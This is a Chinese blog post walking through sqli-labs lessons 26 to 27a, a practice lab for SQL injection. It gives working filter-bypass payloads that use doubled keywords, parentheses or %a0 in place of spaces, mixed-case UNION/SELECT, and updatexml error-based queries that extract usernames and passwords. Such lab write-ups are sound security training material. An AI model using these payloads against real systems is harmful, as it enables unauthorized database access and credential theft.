zoukankan      html  css  js  c++  java
  • sqli-labs lesson 26-27a

    less 26:

    因为本关在windows上运行可能会出现字符转义(apacche下空格无法转义)错误,所以在docker上搭建好sqli-labs

    在win2003上远程登录sqli-labs

    先执行?id=1' 出现报错 ,可能存在注入漏洞

    观察源码:可以看后面的注释,把or and /* 等等注释符都替换了

    这里可以使用报错注入,注意or和空格是会被preg_replace函数删除掉,所以or要双写,

    空格用()或者url编码代替

    例如:

    ?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),1);%00

    这里需要空格隔开的字符串都用括号包裹了起来,0x7573657273='users'

     但是这里group_concat不可以取出所有的值,所以最后爆字段值的时候

    可以用id=x挨个取字段值:

    ?id=1'||updatexml(1,concat(0x7e,(select(group_concat(concat_ws('-',username,passwoorrd)))from(security.users)where(id=1)),0x7e),1);%00

    上面都是因为不能使用空格使用括号包裹的思路,下面演示用字符替换空格的思路

    关于可以替换空格的编码字符:

    %09 TAB键(水平)

    %0a 新建一行

    %0c 新的一页

    %0d return功能

    %0b TAB键(垂直)

    %a0 空格

    执行:?id=1'%a0oorrder%a0by%a03;%00  页面正常显示

     那么说明可以像less 1一样构造联合查询语句。

    less 26a

    关于本关 id是被('')包裹,所以注意闭合,例如:?id=1')%a0oorrder%a0by%a03||('1')=('1

    再有就是注意26a关,关闭了错误提示,不能再使用报错注入

    less 27

    观察源码:

    第1个信息就是id被单引号包裹

    第2个信息有错误提示

    第3个信息与less26a相比 新增了首字母大写、全小写、全大写的union和select注释

    但是mysql不区分大小写,所以空格用%a0替换 union改为uNion,select改为sElect即可

    第二种方法:报错注入

    原理都类似,下面给一个payload

    ?id=1'%a0||updatexml(1,concat(0x7e,(SElecT%a0(concat_ws('~',username,password))from%a0users%a0limit%a00,1),0x7e),1)||%a0'1'='1

     其余的payload均可参考此例构造

    less 27a

    与27区别在于 本关为双引号包裹 还是注意union select分开大小写即可

    构造联合查询语句 就轻松破解

  • 相关阅读:
    vue生命周期详细解析
    Chrome浏览器中onunload有时候没反应怎么办
    JavaScript中<button>与<input type="button"..的区别
    java泛型
    hashCode与equals
    HttpClient HttpServlet HttpUrlConnection
    think in java 笔记
    红黑树
    AC自动机
    并查集
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12459304.html
Copyright © 2011-2022 走看看